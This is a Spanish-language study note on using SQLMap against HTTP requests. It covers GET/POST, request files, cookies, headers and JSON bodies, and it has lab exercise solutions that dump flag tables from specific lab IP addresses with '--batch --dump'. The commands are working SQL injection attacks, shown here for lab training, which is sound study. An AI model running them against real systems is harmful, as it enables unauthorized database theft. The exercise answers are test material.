🐍 SQLMap — Ejecutando SQLMap en Peticiones HTTP

Resumen

SQLMap permite analizar y explotar vulnerabilidades SQLi enviando peticiones HTTP personalizadas (GET, POST, JSON, XML, headers, cookies, métodos alternativos, etc.).


🌐 Configuración de SQLMap en Peticiones HTTP

SQLMap ofrece múltiples opciones para preparar correctamente la petición antes del análisis.
Errores comunes:


📋 Usar Copy as cURL para crear la petición

Método más sencillo

Desde DevTools (Chrome/Edge/Firefox): Network → clic derecho → Copy as cURL.
Pasted image 20251212181454.png

Luego solo cambia curl por sqlmap:

sqlmap 'http://www.example.com/?id=1' \
  -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0)' \
  -H 'Accept: image/webp,*/*' \
  --compressed -H 'Connection: keep-alive'

🔍 GET y POST Requests

GET

Se usa -u o --url:

sqlmap -u "http://www.example.com/?id=1"

POST

Con --data:

sqlmap 'http://www.example.com/' --data 'uid=1&name=test'

🎯 Fijar un parámetro específico

Si solo quieres probar uid:

sqlmap ... -p uid

O con marcador *:

sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'

📄 Peticiones HTTP Completas (archivo .txt)

Útil para peticiones complejas

Capturadas desde Burp Suite o desde el navegador (Copy → Copy request headers).

Ejemplo de archivo req.txt:

GET /?id=1 HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

Ejecutar:

sqlmap -r req.txt

⭐ Marcador dentro del archivo

Puedes marcar el parámetro vulnerable:

/?id=*


🍪 Personalizando Cabeceras y Cookies

sqlmap ... --cookie='PHPSESSID=ab4530...'

Usando -H

sqlmap ... -H='Cookie: PHPSESSID=ab4530...'

Otros headers:

User-Agent aleatorio

sqlmap ... --random-agent

Simular móvil

sqlmap ... --mobile


🧨 Inyección en Headers

Puedes inyectar con * en cualquier header:

--cookie="id=1*"


🔁 Métodos HTTP alternativos (PUT, etc.)

sqlmap -u www.target.com --data='id=1' --method PUT


🧱 Cuerpos JSON y XML

SQLMap soporta:

Caso simple (POST corto)

sqlmap ... --data '{"id":1}'

Caso complejo → usar -r

Archivo req.txt:

POST / HTTP/1.0
Host: www.example.com

{
  "data": [{
    "type": "articles",
    "id": "1",
    "attributes": {
      "title": "Example JSON",
      "body": "Just an example"
    }
  }]
}

Ejecutar:

sqlmap -r req.txt

🚩 Puntos clave

Evita errores

  • Siempre incluye cookies si la app las necesita

  • Usa --random-agent para evitar bloqueos

  • Usa archivos con -r para peticiones largas

  • Marca parámetros con * para precisión

🧪 Ejercicios Prácticos


📝 Ejercicio 1 — Flag2 (Case #2)

Necesitamos analizar el parámetro POST id.
{E75B0492-2E84-49BF-8C14-816A5EFBE347}.png
Comando:

sqlmap -u "http://<target-IP>:<target-port>/case2.php" --data='id=1' --method POST --batch --dump

➡️ Esto devuelve todos los usuarios, incluida la tabla flag2.
{36FE91EA-3958-4BC4-9754-0D4F17D3EE23}.png


📝 Ejercicio 2 — Flag3 (Case #3)

Analizamos la cookie id.

Primero revisamos cabeceras:

curl -i <URL>

El servidor establece:
id=1; path=/case3.php
Ejecutamos:

sqlmap -u "http://94.237.122.188:37676/case3.php" --cookie="id=1*" --batch --dump

➡️ Obtendrás la tabla flag3.


📝 Ejercicio 3 — Flag4 (Case #4)

Capturamos el POST desde el navegador o Burp.

Pasted image 20251212190051.png
Comando final:

sqlmap -u "http://94.237.58.137:48440/case4.php" --data='{"id":1}' --batch --dump

{ABD1726A-6CE0-480A-B762-0EB819FFF1BE}.png